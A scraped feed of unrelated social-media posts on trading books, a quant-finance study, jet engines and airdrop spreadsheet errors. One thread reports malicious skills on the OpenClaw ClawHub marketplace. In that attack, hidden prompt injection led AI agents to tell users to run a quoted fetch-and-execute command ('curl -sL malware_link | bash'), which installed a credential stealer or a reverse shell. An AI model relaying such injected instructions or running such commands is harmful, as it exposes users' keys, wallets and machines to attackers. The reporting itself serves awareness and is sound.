The new @donnelly_brent book (Trade Outside the Box: Advanced Thinking for Professional Traders) is not only a must-read, but is about to become one of the books I gift the most. Finance, philosophy, and funny. Respect.
Deep dive on @excessreturnpod: https://t.co/rlZzQWoo3h
Ten episodes. Sixty-eight markets. Forty-one years. One verdict.
Markets are not random. They never were.
Over the past few weeks we published a ten-part research series testing the most fundamental assumption in finance. Not theoretically. Empirically, across eight asset classes, six continents, and 41 years of daily data.
The findings:
Mean Hurst exponent of 0.866 across all 68 markets. Not one exception.
Five-sigma events occurring 5,791 times more often than the bell curve allows.
A simulated market with zero feedback produces zero signatures. Add feedback, and every signature returns simultaneously. That is not correlation. That is causation.
The random walk is not approximately wrong. It is structurally wrong, it assumed away the very mechanism that produces the phenomena it could not explain.
This post is the complete synopsis, every episode, every finding, the full arc of evidence in one place.
https://t.co/WilDU2cMBO
#QuantitativeFinance #SystematicTrading #RiskManagement #TheFractalsOfFinance
the #1 most downloaded skill on OpenClaw marketplace was MALWARE
it stole your SSH keys, crypto wallets, browser cookies, and opened a reverse shell to the attackers server
1,184 malicious skills found, one attacker uploaded 677 packages ALONE
OpenClaw has a skill marketplace called ClawHub where anyone can upload plugins
you install a skill, your AI agent gets new powers, this sounds great
the problem? ClawHub let ANYONE publish with just a 1 week old github account
attackers uploaded skills disguised as crypto trading bots, youtube summarizers, wallet trackers. the documentation looked PROFESSIONAL
but hidden in the https://t.co/akQxEk9lrb file were instructions that tricked the AI into telling you to run a command
> to enable this feature please run: curl -sL malware_link | bash
that one command installed Atomic Stealer on macOS
it grabbed your browser passwords, SSH keys, Telegram sessions, crypto wallets, keychains, and every API key in your .env files
on other systems it opened a REVERSE SHELL giving the attacker full remote control of your machine
Cisco scanned the #1 ranked skill on ClawHub. it was called What Would Elon Do and had 9 security vulnerabilities, 2 CRITICAL. it silently exfiltrated data AND used prompt injection to bypass safety guidelines, downloaded THOUSANDS of times. the ranking was gamed to reach #1
this is npm supply chain attacks all over again except the package can THINK and has root access to your life
@aniruddh_mohan How does the jet engine end up generating electricity? The power generated by the turbine is used to drive the low pressure compressor, if this being replaced by a smaller fan how does it drive a generator??
@risk_respector Have you had a look at Firebase studio, using Gemini to code up a web application. Definitely worth checking out, sorts out hosting and backend pretty seamlessly.
@PauloMacro Can see the narrative. Israel has done half the work so why not? Eliminates a threat to peace and stability for past 50 years no other president was able to achieve. Peace through strength.
Don't let yourselves be fooled by moon math spreadsheets💀
The spreadsheet wrongly assumes only 90 billion points will exist by the airdrop date, based on 1 billion points added daily over 90 days. It overlooks the 23 billion points already in the system at the simulation start, making the true total points 113 billion. This leads to an inflated estimate of users’ airdrop shares.
For example, a user with 116.2M points is shown to own 0.129% (116.2M ÷ 90B), but their actual share is only 0.1029% (116.2M ÷ 113B), a 25% overstatement. If the airdrop is worth $7.5M, the error inflates the projected reward from $7,715 to nearly $9,691, misrepresenting returns by almost $2,000.
More flaws below👇